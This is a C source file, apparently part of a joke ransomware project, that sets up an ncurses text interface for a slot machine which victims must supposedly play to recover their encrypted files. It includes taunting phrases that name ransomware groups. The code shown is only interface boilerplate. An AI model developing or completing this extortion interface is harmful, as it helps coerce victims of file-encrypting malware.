/*** * Screen - The actual point of this godforsaken project * * This file's goal is to "render" a slot machine that the soon-to-be unlucky victim must play to get their * files back. To do this, I am using curses and probably the menu library to create the TUI. Once I figure * out how to actually do this, everything should work hopefully maybe * Example window layout Random Phrases list: > WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES > R.I.P VxHeaven > tmp(2) nuked by Smelly > 99% of Randomware Operators quit before compromising a bank > Equation Group wuz here > Lazarus wuz here > LockBit wuz here > Sponsored by Equation Group > Sponsored by Lazarus > Sponsored by LockBit > Free my boy Ross Ulbricht he did nothing wrong > Stay off the dark web, kids > FREE BITCOIN JUST 3 SPINS AWAY > We all glow in the dark > Shoutouts to Simpleflips > Shoutouts to BugHunter > Shoutouts to EyeDeeKay > :beecat: > :3 ======================================================== (Window 1) (One line long, top of screen) VX-GAMBLEGROUND: ======================================================== (End Window 1) (Takes up space between top & bottom windows) ======================================================== (Window 2) SLOTS HERE ======================================================== (End Window 2) ======================================================== (Window 3) (One line long, bottom of screen) > Spin > Buy Spins > Quit ======================================================== (End Window 3) */ #define _GNU_SOURCE #include "screen.h" #include #include #include #include #include #include #include #define STATIC_ARRSIZE(arr) (sizeof((arr)) / sizeof((arr)[0])) static const char *menu_choices[] = { "Spin", "Buy spins", "Quit", NULL }; int main() { if(setlocale(LC_ALL, "") == NULL) // Clear out the locale so it doesn't default to ncurses' ISO-8859-1 setting error(1, errno, "Could not set proper locale"); if(initscr() == NULL) // Initialize curses error(1, errno, "Could not init standard screen"); if(has_colors()) { // Init colors if available & create color pairings start_color(); // Init colors here //init_color(); } cbreak(); // Disables character buffering noecho(); // Disable echoing characters keypad(stdscr, TRUE); // Enable keypad on the standard screen int row = -1, col = -1; getmaxyx(stdscr, row, col); /* Ignore for(int c = getch();; c = getch()) mvaddch(c % row, c % col, c | A_BOLD); //*/ /* Menu example ITEM **items; MENU *menu; items = calloc(STATIC_ARRSIZE(menu_choices) + 1, sizeof(ITEM*)); if(items == NULL) error(-1, errno, "Could not allocate space for menu items"); for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) items[i] = new_item(menu_choices[i], menu_choices[i]); items[STATIC_ARRSIZE(menu_choices)] = NULL; menu = new_menu(items); mvprintw(LINES - 2, 0, "F1 to Exit"); post_menu(menu); refresh(); int c; while((c = getch()) != KEY_F(1)) { switch(c) { case KEY_DOWN: menu_driver(menu, REQ_DOWN_ITEM); break; case KEY_UP: menu_driver(menu, REQ_UP_ITEM); break; case KEY_ENTER: break; } } for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) free_item(items[i]); free_menu(menu); //*/ endwin(); // Clean up curses return 0; }